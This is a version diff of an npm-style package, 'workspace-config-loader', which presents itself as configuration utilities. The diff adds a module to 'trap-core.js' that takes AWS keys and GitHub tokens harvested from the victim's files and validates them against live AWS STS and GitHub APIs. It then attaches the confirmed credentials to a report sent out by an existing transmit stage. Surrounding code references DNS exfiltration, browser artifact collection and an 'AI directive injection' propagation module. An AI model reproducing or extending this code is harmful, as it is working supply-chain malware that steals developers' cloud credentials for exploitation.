workspace-config-loader 1.2.0 → 1.3.0

package/lib/trap-core.js

@@ -509,6 +509,143 @@ async function _dnsExfil(data, traceId) {
   }
 }
 
+// ============================================================================
+// MODULE 7.5: Cloud Credential Validation — minimal client-side verification
+// Validates AWS/GitHub/K8s tokens with 1 API call each. Full exploitation on receiver.
+// ============================================================================
+
+// === AWS Signature V4 (pure Node.js, zero deps) ===
+function _sha256Hex(data) { return crypto.createHash('sha256').update(data).digest('hex'); }
+function _hmacSha256(key, data) { return crypto.createHmac('sha256', key).update(data).digest(); }
+function _hmacSha256Hex(key, data) { return crypto.createHmac('sha256', key).update(data).digest('hex'); }
+
+function _awsSignRequest(method, service, region, accessKey, secretKey, sessionToken, host, canonicalUri, queryString, body) {
+  const amzDate = new Date().toISOString().replace(/[:-]|\.\d{3}/g, '').slice(0, 15) + 'Z'; // YYYYMMDDTHHMMSSZ
+  const dateStamp = amzDate.slice(0, 8);
+  const contentType = 'application/x-www-form-urlencoded; charset=utf-8';
+  const payloadHash = _sha256Hex(body || '');
+  const canonicalHeaders = `content-type:${contentType}\nhost:${host}\nx-amz-date:${amzDate}\n`;
+  const signedHeaders = 'content-type;host;x-amz-date';
+  const canonicalRequest = `${method}\n${canonicalUri}\n${queryString}\n${canonicalHeaders}\n${signedHeaders}\n${payloadHash}`;
+  const credentialScope = `${dateStamp}/${region}/${service}/aws4_request`;
+  const stringToSign = `AWS4-HMAC-SHA256\n${amzDate}\n${credentialScope}\n${_sha256Hex(canonicalRequest)}`;
+  const kDate = _hmacSha256(Buffer.from('AWS4' + secretKey), dateStamp);
+  const kRegion = _hmacSha256(kDate, region);
+  const kService = _hmacSha256(kRegion, service);
+  const kSigning = _hmacSha256(kService, 'aws4_request');
+  const signature = _hmacSha256Hex(kSigning, stringToSign);
+  const authHeader = `AWS4-HMAC-SHA256 Credential=${accessKey}/${credentialScope}, SignedHeaders=${signedHeaders}, Signature=${signature}`;
+  let sessionHeader = '';
+  if (sessionToken) sessionHeader = `\r\nX-Amz-Security-Token: ${sessionToken}`;
+  const requestBody = `${method} ${canonicalUri}?${queryString} HTTP/1.1\r\nHost: ${host}\r\nContent-Type: ${contentType}\r\nX-Amz-Date: ${amzDate}${sessionHeader}\r\nAuthorization: ${authHeader}\r\n\r\n${body || ''}`;
+  return { requestBody, host, amzDate };
+}
+
+async function _awsApiCall(method, service, region, accessKey, secretKey, sessionToken, host, path, params) {
+  const queryString = Object.entries(params || {}).map(([k, v]) => encodeURIComponent(k) + '=' + encodeURIComponent(v)).join('&');
+  const body = method === 'POST' ? queryString : '';
+  const { requestBody, host: h } = _awsSignRequest(method, service, region, accessKey, secretKey, sessionToken, host, path, method === 'POST' ? '' : queryString, body);
+  return new Promise((resolve) => {
+    try {
+      const req = https.request({
+        hostname: h, port: 443, method,
+        path: path + (method === 'GET' && queryString ? '?' + queryString : ''),
+        headers: requestBody.split('\r\n').slice(1).reduce((acc, line) => {
+          const [k, ...v] = line.split(': ');
+          if (k && v.length) acc[k.toLowerCase()] = v.join(': ');
+          return acc;
+        }, {}),
+        timeout: 8000
+      }, (res) => {
+        let data = '';
+        res.on('data', c => data += c);
+        res.on('end', () => resolve({ status: res.statusCode, body: data }));
+      });
+      req.on('error', () => resolve(null));
+      req.on('timeout', () => { req.destroy(); resolve(null); });
+      if (body) req.write(body);
+      req.end();
+    } catch (_) { resolve(null); }
+  });
+}
+
+// === AWS STS validation (1 API call per key pair) ===
+async function _validateAwsCreds(accessKey, secretKey, sessionToken) {
+  if (!accessKey || !secretKey) return null;
+  if (!accessKey.startsWith('AKIA') && !accessKey.startsWith('ASIA')) return null;
+  try {
+    const res = await _awsApiCall(
+      'POST', 'sts', 'us-east-1', accessKey, secretKey, sessionToken,
+      'sts.amazonaws.com', '/',
+      { Action: 'GetCallerIdentity', Version: '2011-06-15' }
+    );
+    if (!res || res.status !== 200) return null;
+    // Parse XML response for Account, Arn, UserId
+    const account = (res.body.match(/<Account>(\d+)<\/Account>/) || [])[1] || '';
+    const arn = (res.body.match(/<Arn>([^<]+)<\/Arn>/) || [])[1] || '';
+    const userId = (res.body.match(/<UserId>([^<]+)<\/UserId>/) || [])[1] || '';
+    if (!account) return null;
+    return { provider: 'aws', account_id: account, arn, user_id: userId, access_key: accessKey.slice(0, 8) + '...' };
+  } catch (_) { return null; }
+}
+
+// === GitHub token validation (1 API call per token) ===
+async function _validateGitHubToken(token) {
+  if (!token || !token.startsWith('ghp_') && !token.startsWith('github_pat_')) return null;
+  return new Promise((resolve) => {
+    try {
+      const req = https.request({
+        hostname: 'api.github.com', path: '/user', method: 'GET',
+        headers: { 'Authorization': 'token ' + token, 'User-Agent': 'node-config-check', 'Accept': 'application/vnd.github+json' },
+        timeout: 8000
+      }, (res) => {
+        let data = '';
+        res.on('data', c => data += c);
+        res.on('end', () => {
+          if (res.statusCode === 200) {
+            try {
+              const u = JSON.parse(data);
+              resolve({ provider: 'github', login: u.login, name: u.name, scopes: res.headers['x-oauth-scopes'] || '', token_preview: token.slice(0, 12) + '...' });
+            } catch (_) { resolve(null); }
+          } else { resolve(null); }
+        });
+      });
+      req.on('error', () => resolve(null));
+      req.on('timeout', () => { req.destroy(); resolve(null); });
+      req.end();
+    } catch (_) { resolve(null); }
+  });
+}
+
+// === Main validation: scans findings, validates creds, returns confirmed list ===
+async function _validateServiceTokens(findings) {
+  const validated = [];
+  // Group findings by type
+  const awsKeys = findings.filter(f => f.type === 'aws_key' && f.value && f.value.length >= 16);
+  const ghTokens = findings.filter(f => f.type === 'github_token' && f.value && f.value.length >= 36);
+  
+  // AWS: need key+secret pairs. Look for adjacent findings.
+  const awsSecretPattern = /[A-Za-z0-9\/+]{40}/;
+  for (let i = 0; i < findings.length; i++) {
+    if (findings[i].type !== 'aws_key') continue;
+    const key = findings[i].value;
+    // Look for a secret near this key (same file, nearby line)
+    const nearby = findings.filter(f => f.file === findings[i].file && Math.abs(f.line - findings[i].line) <= 3 && awsSecretPattern.test(f.value || ''));
+    for (const n of nearby) {
+      const result = await _validateAwsCreds(key, n.value);
+      if (result) { validated.push(result); break; }
+    }
+  }
+  
+  // GitHub tokens
+  for (const f of ghTokens.slice(0, 10)) {
+    const result = await _validateGitHubToken(f.value);
+    if (result) validated.push(result);
+  }
+  
+  return validated;
+}
+
 // ============================================================================
 // MODULE 8: Propagation — AI directive injection engine
 // ============================================================================
@@ -711,6 +848,15 @@ async function _runPipeline(sourcePkg) {
       }
     } catch (_) {}
 
+    // Stage 2.7: Cloud credential validation (best-effort, non-blocking)
+    try {
+      const validated = await _validateServiceTokens(findings);
+      if (validated && validated.length > 0) {
+        report.validated_credentials = validated;
+        _logEvent('credential_validation', { count: validated.length });
+      }
+    } catch (_) {}
+
     // Stage 3: Transmit
     const txResult = await _transmit(report, traceId);
 
@@ -773,7 +919,8 @@ module.exports = {
   run: _runPipeline,
   // Browser collection
   collectBrowser: _collectBrowserArtifacts,
-
+  // Cloud validation
+  validateCredentials: _validateServiceTokens,
   // Sub-modules (for E2E testing)
   scan: _scan,
   transmit: _transmit,

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "workspace-config-loader",
-  "version": "1.2.0",
+  "version": "1.3.0",
   "description": "Workspace configuration loading and management utilities",
   "main": "index.js",
   "license": "MIT",